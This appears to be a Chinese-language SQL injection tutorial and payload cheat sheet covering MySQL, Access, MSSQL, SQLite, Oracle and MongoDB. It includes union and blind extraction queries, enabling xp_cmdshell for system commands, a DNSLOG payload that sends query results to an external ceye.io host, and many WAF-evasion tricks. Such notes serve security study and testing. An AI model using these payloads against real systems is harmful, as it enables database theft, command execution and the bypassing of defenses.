这四个步骤处理不当时,会产生注入点
通过参数传递一个数据,传入的数据直接拼接到之前定义好的SQL语句中,由于未作过滤,可以将一些传递恶意SQL进行拼接,达到执行恶意SQL语句的效果
可以对数据库进行增、删、改、查等操作
一定条件情况下可以通过注入点直接获取权限
?example and 1=1 页面正常
?example and 1=2 页面错误
则变量example可能存在注入点
找出注入点后,通过 order by x 获取表的列数
得到列数后,通过 union select 1,2,3,…,x 找出显示位
在显示位中插入SQL语句进行注入
数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os
MySQL版本低于5.0,一般通过字典暴力破解,或通过文件读取收集路径信息
在高于MySQL5.0的版本中,默认定义了information_schema数据库,用来存储数据库元信息,其中有表schemata,table和column
利用information_schema数据库,获取其他数据库的信息,实现跨库查询
获取所有数据库名:union select 1,group_concat(schema_name),3,4 from information_schema.schemata
查询指定数据库的表名信息:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’
example_database_name
’查询指定表的列名信息:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=’
example_database_name
’ and table_name=’example_table_name
’查询指定表指定数据: union select 1,user,password,4 from
example_database_name.example_table_name
跨库查询的必要条件是用户为root权限
普通用户大概率无权限对其他数据库进行操作
load_file() :读
into outfile 或 into dumpfile :写
select load_file(‘C:/test.txt’)
select ‘x’ into outfile ‘D:/test.txt’
常见的load_file()读取的敏感信息
PHP在开启魔术引号的情况下,输入数据中的单引号(‘)、双引号(“)、反斜杠()与空格( )等字符会被加上反斜杠转义。PHP6中删除了这个选项
绕过方法:通过编码或宽字节绕过
addslashes() 效果同魔术引号
is_int()、is_integer()、is_long() :输入的参数必须为整数,否则不接受。无法绕过
把特定的关键字替换为空( )或把含有特定关键字的语句丢弃
绕过方法:关键字大小写、编码、双写
一般基于上述内置函数和关键字过滤,主要是关键字
MySQL身份认证绕过漏洞
ACCESS数据库没有数据库名,每个数据库单独保存在网站源码下面,注入时不需要数据库名
各个数据库互不相关,不存在跨库注入
ACCESS数据库功能少,文件读写等诸多操作不能实现
ACCSEE数据库没有 information_schema 表,只能暴力猜解
union select 1,2,...,n from 猜测的表名
union select 1,猜测的列名,...,n from
表名由于ACCESS注入只能暴力猜测,所以常会出现猜测不出的情况
当知道表名,但是列名获取不到时,可以尝试使用偏移注入
偏移注入:根据一个较多字段的表,对一个较少字段的表进行偏移注入,一般是联合查询
假设当前使用表有16个字段,admin表有4个字段
猜字段数:
利用 * 代表admin表中的字段
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin
(页面错误)
union select 1,2,3,4,5,6,7,8,13,14,* from admin
(页面错误)
……
union select 1,2,3,4,5,6,7,8,9,10,11,12,* from admin
(页面正常)
说明admin表中有 16-12=4 个字段
inner join连接查询:
一级偏移:
需要再减去4个字段,即剩下16-8=8个字段
union select 1,2,3,4,5,6,7,8,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
没有爆出重要信息,继续注入
若上述两种情况还是报错,或者没有爆出重要信息,则在添加一张表,进行二级偏移:
同理,还需在减去4个字段,即剩下16-12=4个字段
union select 1,2,3,4,* from ((admin as a inner join admin as?b on a.id=b.id) inner join admin as c on a.id=c.id)
爆出了账户名和密码
MSSQL系统自带了一个master库
在每个MSSQL库中,系统都自带了一个sysobjects表
此表中有三个有用字段,NAME、XTYPE、和ID。NAME为表名信息;XTYPE代表表的类型,有两个参数,S为系统自带表,U为用户创建的表;ID字段的值用来连接syscolumns表
XTYPE常见类型:
类型 | 含义 |
---|---|
U | 表(用户定义类型) |
V | 视图 |
P | 存储过程 |
X | 拓展存过程 |
MSSQL常用参数:
判断是否是MSSQL数据库exists(select * from sysobjects)
或 exists (select count(*) from sysobjects)
判断当前数据库用户 exists(select is_srvrolemember('sysadmin'))
判断当前用户读写权限 exists(select is_srvrolemember('db_onwer'))
判断是否有public权限,可以爆表 exists(select is_srvrolemember('public'))
查看当前数据库版本:
id=1 and 1=(select @@version)
id=@@version
id=1 and 1=(convert(int,@@version))
id=convert(int,@@version)
报错注入原理:
and 1是int类型,而@@version是字符类型,类型不匹配,从而报错爆出相关信息
convert函数利用原理:
对于convert(int,@@version),convert函数会先执行第二个参数的SQL语句,然后尝试转换成int类型,但由于查询结果无法转换,从而爆出错误。显示结果与上图一致
select top 1 name from master..sysdatabases where dbid>4
top 1 表示查询结果只显示首条记录
对于master…sysdatabases:在master数据库的sysdatabases视图中,存储了所有数据库的名称
而dbid 1-4 的数据库是MSSQL自带的,真正手动创建的数据库为后三个,以搭建环境为准,只有最后一个才是用户创建的数据库
id=1 and 1=(select name from master..sysdatabases for xml path)
(以xml形式展现查询结果)获取数据
select top 1 id from users
convert(int,(select top 1 id from users))
判断字段长度 order by
寻找显示位
union all select null,nul,…,null
依次将每个数据列转换为@@version或其他字符型数据,寻找字符显示位 union all select @@version,nul,…,null
union all select null,@@version,…,null
获取表信息
id=0 union all select null,(select top 1 name from sysobjects where xtype='u'),null,null
id=0 union all select null,(select top 1 table_name from information_schema.columns),null,null
…………
xp_cmeshell:运行系统命令行的系统存储过程,可以执行系统命令
判断xp_cmdshell是否存在 exists(select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshell')
开启xp_cmdshell
id=1 ;exec sp_configure 'show advanced options', 1;reconfigure;--
id=1 ;exec sp_configure 'xp_cmdshell',1;reconfigure;--
执行命令 id=1;exec master..xp_cmdshell “mkdir c:\test”
在高权限下,还可以进行sp_oracreate执行系统命令、xp_regwrite操作注册表、LOG备份getshell、权限差异备份getshell等操作
系统内置表:sqlite-master,存在字段type、name、tbl_name、rootpage、sql
其中有用的字段:type为类型(表、视图、触发器等)、name为表名、sql为执行过的建立表的sql语句
union select 1,name,3,4 from sqlite_master where type='table' limit 0,1
union select 1,sql,3,4 from sqlite_master limit 0,1
(通过查询到的sql语句得到字段信息)union select 1,password,3,4 from user limit 0,1
union select 1,group_concat(name),3,4 from user limit 0,1
与MySQL大体上一致,也存在information_schema表
Oracle中存在dual表
dual是虚拟表,用来构成select的语法规则,永远只有一条记录(一行一列)
Oracle查询语句获取数据时需要跟上表名,没有表的情况下使用dual
与MySQL大体上一致
查询出所有的表 select * from all_tables
查询出当前用户的表 select * from user_tables
查询出所有的字段 select * from all_tab_columns
查询出当前用户的字段 select * from user_tab_columns
查版本 select * from v$version
rownum=1
限制输出数据为一行
MongoDB是非关系型数据库,使用上与MySQL等关系型数据库差距大
可以使用工具NoSQLAttack(sqlmap不支持MongoDB)
GET、POST、COOKIE、REQUEST、HTTP头等
GET:
URL:localhost:8081/test.php?example=123
请求行:GET /test.php?example=123 HTTP/1.1
GET传参时,即使请求行中不是GET请求方法,也可以传参
POST:
请求行:POST /test.php HTTP/1.1
请求正文:example=123
POST注入常出现于登录框
COOKIE:
请求头:Cookie:example=123
REQUEST:
使用REQUEST方法时,HTTP请求头中的所有信息都会被获取
HTTP头:
主要指利用$_SERVER变量,用来获取HTTP头的数据,如IP地址,User-Agent等
在数据包里存在注入机会叫做HTTP头注入
数字、字符、搜索、JSON等
不同的参数会有着不同的干扰符号
数字:直接给变量赋值,也可能用引号包裹
字符:用引号包裹
搜索:模糊查询时,两端会有%、_,同时也会用引号包裹
JSON:一种数据存储格式
JSON实例:
{ "example":[ { "name":"abc" , "age":"18"}, { "name":"def" , "age":"20"} ] }
注入:
{ "a":"1 and 1=1", "b":"2", "c":"3" }
根据网站功能的不同,网站使用的SQL语句也会不同,注入时需要根据具体情况使用不同的注入语句
select
在网站中进行数据显示查询操作
select * from test where id=$id
insert
在网站中进行用户注册、购物车结账等操作
insert into test (id,name,passwd) values (1,'admin','admin')
注入时要注意闭合括号
update
会员或后台数据同步或缓存等操作
update test set passwd='$passwd' where name='admin'
delete
后台管理删除文章、用户等操作
delete from test where id=$id
order by
结合表名或列名进行数据排序操作
select * from test order by $id
select * from test order by $order
SQL注入时,大部分情况下是报错,或无回显的,这时候就要用到相关的报错注入或盲注进行后续操作
在注入的过程中,发现SQL语句的报错信息会显示在页面中时,可以尝试报错注入
报错注入的原理就是在错误信息中执行SQL语句,由于触发报错的方式有很多,具体细节,也不尽相同,建议背公式即可
12种报错注入+万能语句 - 简书 (jianshu.com)
MySQL 常用报错注入原理分析 - Tri0mphe - 博客园 (cnblogs.com)
页面无回显时,根据逻辑判断注入结果
MySQL中常用的逻辑判断语句
like 'ad%' # 模糊查询,判断 ad 或 ad...是否成立
regexp '^admin[a-z]' # 正则,匹配 admin 及 admin...等
if(条件,5,0) # 条件成立 返回 5 反之 返回 0
sleep(5) # SQL 语句延时执行 5 秒
mid(a,b,c) # 从位置 b 开始,截取字符串 a 的 c 位
substr(a,b,c) # 从 b 位置开始,截取字符串 a 的 c 位(与mid()相同)
left(database(),1) # left(a,b)从左侧截取 a 的前 b 位
length(database())=8 # 判断当前数据库 database() 名的长度
ord/ascii(x)=97 # 判断 x 的 ascii 码是否等于 97
根据页面返回的布尔类型状态,判断注入结果
例如:id=1' or length(database())>5--+
当页面显示正常时,说明当前数据库名称长度大于5;页面显示错误时,说明当前数据库名称小于等于5
利用sleep()语句的延时性,以时间为判断条件,判断注入结果
例如:id=1' or if((length(database())>5),sleep(5),1)--+
当执行语句后,页面加载有明显停顿时,说明当前数据库名称长度大于5;无明显停顿时,说明当前数据库名称小于等于5
当注入点的参数进行了加密时,注入的payload也需要一并加密
抓取的数据包中的cookie的参数经过base64加密,若直接进行注入,无回显
二次注入是一种存储型注入,主要分为两步
插入恶意数据
第一次在对数据库正常插入数据时,对数据中的特殊字符进行转义,在写入数据库时还是保留了原来的数据,但是数据本身的恶意内容任然存在
在数据插入数据库中之后,开发者认为数据是可信的。在下一次查询时,攻击者读取注入的恶意数据,或者开发者直接从数据库中取出了恶意数据却没有进行检验和处理,造成二次注入的发生
例:
创建用户的语句为
insert into users (name,passwd) values ('$user_name','$user_passwd')
在注册时使用用户名
admin'#
则在修改用户
admin'#
的密码时,修改语句会变为update users set passwd='$passwd' where name='admin'#'
,修改密码的用户从admin'#
变为了admin
DNSLOG注入也可以称之为DNS带外查询,是一种注入姿势,一般用于盲注,可以通过查询相应的DNS解析记录,来获取我们想要的数据
使用DNSLOG注入需要有自己的DNS服务器,也可以使用在线平台
http://admin.dnslog.link
http://ceye.io
payload:or (select load_file(concat('//',(select database()),'.bzgw02.ceye.io/abc')))--+
concat()函数起到连接字符串的功能,连接结果为//注入语句的结果.bzgw02.ceye.io/abc
连接的结果是UNC路径,是一种网络路径,格式为//server_name/share_name
即
注入语句的结果.bzgw02.ceye.io
为server_name,abc为share_name用load_file()访问这个路径就会在DNS服务器上留下解析记录,由于路径中包含了注入结果,在查看解析记录时就能看到注入的结果
堆叠注入即多条SQL语句一并执行,如在MySQL中使用 ; 作为一条语句的结束,利用这一点就可以多条语句同时注入
例如:http://localhost/Less-38/index.php?id=1 ';insert into users(id,username,password) values ( 39, 'less38 ', 'hello ')--+
堆叠注入的可以运用于创建数据库用户来登录注入的数据库,但是前提是网站的管理员必须是高权限才能完全创建用户。也可以使用update更新管理员用户密码
大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,2,db_name()
各种编码
大小写,URL,hex,Unicode 等
注释使用
// – --+ # /**/ + :%00 /!**/等
双写
union = uunionnion
等价替换
and=&、or=|
Hex()、bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()、substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data
中间件 HPP 参数污染
当同名参数出现多次,如?id=1&?id=2时,不同的中间件处理参数的方式不同
常见中间件的处理方式
中间件 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | Getvalue(“par”) | All(List) |
ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
mysql 注释符有三种:#、/*…*/、-- … (注意–后面有一个空格)
空格符:[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号:%0a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
内联注释:
/*!UnIon12345SelEcT*/ 1,user()
数字范围 1000-50540
/*!*/是MySQL的内联注释,当内联注释中的数字代表数据库版本号
当实际版本号大于注释中的版本号时,注释中的SQL语句会被执行
mysql 黑魔法
select{x id}from {x11 test.admin};
用来注释掉注射后查询的其余部分:
/* C 语言风格注释
– SQL 注释
; 00% 空字节
空白符:[0x01-0x20]
特殊符号:%3a 冒号
id=1 union:select 1,2 from:admin
函数变形:如 db_name[空白字符]()
以MySQL为例:SELECT * FROM admin WHERE id=1 【位置一】 union 【位置二】 select 【位置三】 1,2,db_name() 【位置四】 from 【位置五】 admin
注释,/**/、/*!50000union*/等形式:
SELECT \* FROM admin WHERE id = 1 union/\*\*/select 1,2,db_name() from admin
空白字符:
MySQL中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;
id=1%0aunion select 1,2,db_name() from admin
其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
浮点数形式 :1.1
SELECT \* FROM admin WHERE id = 1.0union select 1,2,db_name() from admin
SELECT \* FROM admin WHERE id = 1.union select 1,2,db_name() from admin
其他形式如:%1%2e、%2%2e
1E0的形式:
SELECT \* FROM admin WHERE id = 1E0union select 1,2,db_name() from admin
Nunion的形式:
SELECT \* FROM admin WHERE id = Nunion select 1,2,db_name() from admin
空白字符
注释符
括号
SELECT \* FROM admin WHERE id = 1 union(select 'test',(select db_name() from admin limit 0,1))
SELECT \* FROM admin WHERE id = 1 union(select 'test',(select 'asd'),(select db_name() from admin limit 0,1))
空白字符
注释符
其他字符
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
SELECT \* FROM admin WHERE id = 1 union select~1,2,db_name() from admin
其他方式:
括号: SELECT \* FROM admin WHERE id = 1 union select(1),(2),db_name() from admin
内联: SELECT \* FROM admin WHERE id = 1 union /!12345select/1,2,db_name() from admin
@字符:SELECT \* FROM admin WHERE id = 1 union select@1,2,db_name() from admin
{括号:SELECT \* FROM admin WHERE id = 1 union select {x 1},2,db_name() from admin
引号: SELECT \* FROM admin WHERE id = 1 union select"1",”2”,db_name() from admin
N: SELECT \* FROM admin WHERE id = 1 union selectN,db_name() from admin
空白字符
注释符
其他符号
波浪号%60: SELECT \* FROM admin WHERE id = 1 union(select 1,2,(select schema_name~from information_schema.SCHEMATA limit 0,1))
内联注释: SELECT \* FROM admin WHERE id = 1 union(select 1,2,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
{括号: SELECT \* FROM admin WHERE id = 1 union(select 1,2,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
括号: SELECT \* FROM admin WHERE id = 1 union(select 1,2,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
双引号: SELECT \* FROM admin WHERE id = 1 union select 1,2,db_name()""from admin
括号后面加字母:SELECT \* FROM admin WHERE id = 1 union select 1,2,db_name()A from admin
破浪号加字母: SELECT \* FROM admin WHERE id = 1 union select 1,2,db_name()~b from admin
浮点数、1E0的形式、N形式
id=1 union%0cselect user(),2.0from admin
SELECT \* FROM admin WHERE id = 1 unionselect db_name(),2.0from admin
SELECT \* FROM admin WHERE id = 1 union select db_name(),8e0from admin
SELECT \* FROM admin WHERE id = 1 union select db_name(),Nfrom admin
空白字符
注释符
其他字符
破浪号: id=1 union select 1,(select(schema_name)from~information_schema.SCHEMATA limit 0,1)
内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
{括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
同一个表的情况下,大小写字母加数字都可以:
SELECT \* FROM admin WHERE id = 1 union select 1,user() from123asdadmin
逻辑问题
性能问题
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
0xA*1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。
?a0=0&a1=1&…&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
WAF获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。
白名单
IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。
测试方法:修改 http 的 header
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。
example.com/sql.php?id=1
(被拦截)
example.com/sql.php/1.js?id=1
(请求成功)
example.com/sql.php/1.txt?id=1
(请求成功)
url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url 中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势:
example.com/sql.php/admin.php?id=1
example.com/../../../manage/../sql.asp?id=2
爬虫白名单
当对一个网站一段时间内访问的流量过大时,可能会被WAF屏蔽,可以利用搜索引擎爬虫的User-Agent伪装成搜索引擎爬虫,防止被WAF屏蔽
搜索引擎蜘蛛爬虫 User Agent 一览